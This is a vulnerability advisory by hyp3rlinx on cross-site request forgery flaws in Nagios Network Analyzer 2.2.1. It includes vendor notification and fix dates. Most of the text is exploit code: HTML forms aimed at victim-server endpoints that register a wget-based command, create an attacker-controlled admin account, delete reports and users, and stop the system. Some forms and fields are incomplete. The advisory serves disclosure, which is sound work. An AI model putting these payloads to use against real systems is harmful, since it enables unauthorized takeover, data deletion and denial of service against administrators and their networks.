Nagios Network Analyzer 2.2.1 - Multiple Cross-Site Request Forgery Vulnerabilities









[+] Credits: John Page ( hyp3rlinx )
[+] Website:
[+] Source:
[+] ISR: ApparitionSec


Nagios Network Analyzer v2.2.1

Netflow Analysis, Monitoring, and Bandwidth Utilization Software

Network Analyzer provides an in-depth look at all network traffic sources
and potential security threats allowing system
admins to quickly gather high-level information regarding the health of the
network as well as highly granular data for
complete and thorough network analysis.

Vulnerability Type:
Cross Site Request Forgery (CSRF)

CVE Reference:

Vulnerability Details:

Nagios NA has multiple CSRF vectors, allowing unauthorized commands to be
transmitted from a user that the website trusts if that user is
authenticated and visits a malicious webpage or clicks a attacker supplied
link. The Nagios system can be compromised as remote attackers
can create arbitrary commands e.g. using "wget" to download RCE files onto
the system, create arbitrary Admins, delete users, and conduct
DOS attacks.

Exploit code(s):

1) Create arbitrary commands

<form action="
<input type="hidden" name="name" value="pwn">
<input type="hidden" name="location" value="%2Fusr%2Fbin%2Fwget">
<input type="hidden" name="script" value="wget">
<input type="hidden" name="args"

2) Add Admin

<form action="http://victim-server/nagiosna/index.php/admin/users/create"
method="post" accept-charset="utf-8">
<input type="text" name="first_name" value="CSRF">
<input type="text" name="last_name" value="ME">
<input type="text" name="company" value="PWN">
<input type="text" name="email" value="">
<input type="text" name="phone" value="">
<input type="text" name="username" value="HYP3RLINX">
<input type="password" name="password" value="abc123">
<input type="password" name="password2" value="abc123">
<input type="hidden" name="language" value="default" >
<input type="hidden" name="account_type" id="account_type" value="local">
<input type="hidden" name="ldap_server" id="ldap_server">
<input type="hidden" name="ad_server" id="ad_server" value="1">

<input type="text" name="ad_username" id="ad_username">
<input type="text" name="dn"  placeholder="cn=John Smith,dn=nagios,dc=com">
<input type="radio" name="group" value="1" checked="true" >
<input type="radio" name="apiaccess" value="1" >
<input type="radio" name="apiaccess" value="0" checked>


3) Delete reports (report ID must be known or guessed)

<form action="http://victim-server/nagiosna/index.php/api/reports/delete"
<input type="hidden" name="q[rid]" value="9">

4) DOS

<form action="http://victim-server/nagiosna/index.php/api/system/stop"
<input type="hidden" name="sid" value="1">

5) Delete users (user ID must be known or guessed)

<form action="http://victim-server/nagiosna/index.php/admin/users/delete"
<input type="hidden" name="id" value="10">

Disclosure Timeline:
Vendor Notification:  July 20, 2016
Vendor Acknowledgement: July 21, 2016
Vendor Fix / Release: August 1, 2016
August 8, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:

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